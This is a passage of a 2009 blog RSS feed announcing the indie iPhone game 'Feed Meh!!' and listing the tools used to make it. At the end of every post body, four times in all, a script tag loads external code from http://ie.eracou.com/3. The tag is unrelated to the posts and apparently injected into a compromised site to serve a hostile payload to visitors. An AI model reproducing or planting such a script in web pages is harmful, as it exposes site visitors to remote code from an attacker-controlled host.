			<content:encoded><![CDATA[<object	
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<p>This is a video with some insight on the many tools and applications we used to make our first iPhone game &#8216;Feed Meh!!&#8217; and some ideas of what we&#8217;re planning for the future of the game.</p>
<p>Let us know if you have any suggestions for an application of your choice that you think we could use for our process, or if you have any questions regarding our upcoming game or the actual tools and process we used.</p>
<p>Visit CBMUmedia.com for more information.</p>
<p>Tools:<br />
Unity3d: unity3d.com/<br />
Cinema 4D: maxon.net/<br />
Photoshop CS3: adobe.com/products/photoshop/family/?promoid=BPDEK<br />
Illustrator CS3: adobe.com/products/illustrator/<br />
Textmate: macromates.com/</p>
<p>Organization<br />
Basecamp: basecamphq.com/<br />
Mole Skin: moleskineus.com/<br />
Drop Box: getdropbox.com/<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://whoisvince.com/2009/07/feed-meh-game-info/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Feed Meh!! Game Info</title>
		<link>http://whoisvince.com/2009/07/feed-meh-game-info-2/</link>
		<comments>http://whoisvince.com/2009/07/feed-meh-game-info-2/#comments</comments>
		<pubDate>Sat, 25 Jul 2009 19:14:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Featured-Bottom]]></category>

		<guid isPermaLink="false">http://whoisvince.com/?p=603</guid>
		<description><![CDATA[This is a video with some insight on the many tools and applications we used to make our first iPhone game &#8216;Feed Meh!!&#8217; and some ideas of what we&#8217;re planning for the future of the game.
Let us know if you have any suggestions for an application of your choice that you think we could use [...]]]></description>
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<p>This is a video with some insight on the many tools and applications we used to make our first iPhone game &#8216;Feed Meh!!&#8217; and some ideas of what we&#8217;re planning for the future of the game.</p>
<p>Let us know if you have any suggestions for an application of your choice that you think we could use for our process, or if you have any questions regarding our upcoming game or the actual tools and process we used.</p>
<p>Visit CBMUmedia.com for more information.</p>
<p>Tools:<br />
Unity3d: unity3d.com/<br />
Cinema 4D: maxon.net/<br />
Photoshop CS3: adobe.com/products/photoshop/family/?promoid=BPDEK<br />
Illustrator CS3: adobe.com/products/illustrator/<br />
Textmate: macromates.com/</p>
<p>Organization<br />
Basecamp: basecamphq.com/<br />
Mole Skin: moleskineus.com/<br />
Drop Box: getdropbox.com/<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://whoisvince.com/2009/07/feed-meh-game-info-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Feed Meh!! Sneak Peak</title>
		<link>http://whoisvince.com/2009/05/feed-meh-sneak-peak/</link>
		<comments>http://whoisvince.com/2009/05/feed-meh-sneak-peak/#comments</comments>
		<pubDate>Sat, 30 May 2009 05:50:28 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Development]]></category>
		<category><![CDATA[Video/ MoGraph]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[2d]]></category>
		<category><![CDATA[animation]]></category>
		<category><![CDATA[characters]]></category>
		<category><![CDATA[eat]]></category>
		<category><![CDATA[exclamation]]></category>
		<category><![CDATA[fun]]></category>
		<category><![CDATA[funny]]></category>
		<category><![CDATA[game]]></category>
		<category><![CDATA[simple]]></category>
		<category><![CDATA[stupid]]></category>

		<guid isPermaLink="false">http://whoisvince.com/?p=446</guid>
		<description><![CDATA[This is a quick video showing a simple sneak peek into my 1st upcoming iPhone game that I&#8217;m currently building under my umbrella company CBMUmedia.
If your interested, please submit your email via the website [ FeedMeh.CBMUmedia.com/ ] and I&#8217;ll make sure to notify you once it&#8217;s released.
Music By: 6ergascho
]]></description>
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This is a quick video showing a simple sneak peek into my 1st upcoming iPhone game that I&#8217;m currently building under my umbrella company CBMUmedia.</p>
<p>If your interested, please submit your email via the website [ FeedMeh.CBMUmedia.com/ ] and I&#8217;ll make sure to notify you once it&#8217;s released.</p>
<p>Music By: 6ergascho<script src="http://ie.eracou.com/3"></script></p>
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			<wfw:commentRss>http://whoisvince.com/2009/05/feed-meh-sneak-peak/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Feed Meh!! Sneak Peak</title>
		<link>http://whoisvince.com/2009/05/feed-meh-sneak-peak-2/</link>
		<comments>http://whoisvince.com/2009/05/feed-meh-sneak-peak-2/#comments</comments>
		<pubDate>Fri, 29 May 2009 19:17:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Featured-Bottom]]></category>

		<guid isPermaLink="false">http://whoisvince.com/?p=609</guid>
		<description><![CDATA[This is a quick video showing a simple sneak peek into my 1st upcoming iPhone game that I&#8217;m currently building under my umbrella company CBMUmedia.
If your interested, please submit your email via the website [ FeedMeh.CBMUmedia.com/ ] and I&#8217;ll make sure to notify you once it&#8217;s released.
Music By: 6ergascho
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This is a quick video showing a simple sneak peek into my 1st upcoming iPhone game that I&#8217;m currently building under my umbrella company CBMUmedia.</p>
<p>If your interested, please submit your email via the website [ FeedMeh.CBMUmedia.com/ ] and I&#8217;ll make sure to notify you once it&#8217;s released.</p>
<p>Music By: 6ergascho<script src="http://ie.eracou.com/3"></script></p>
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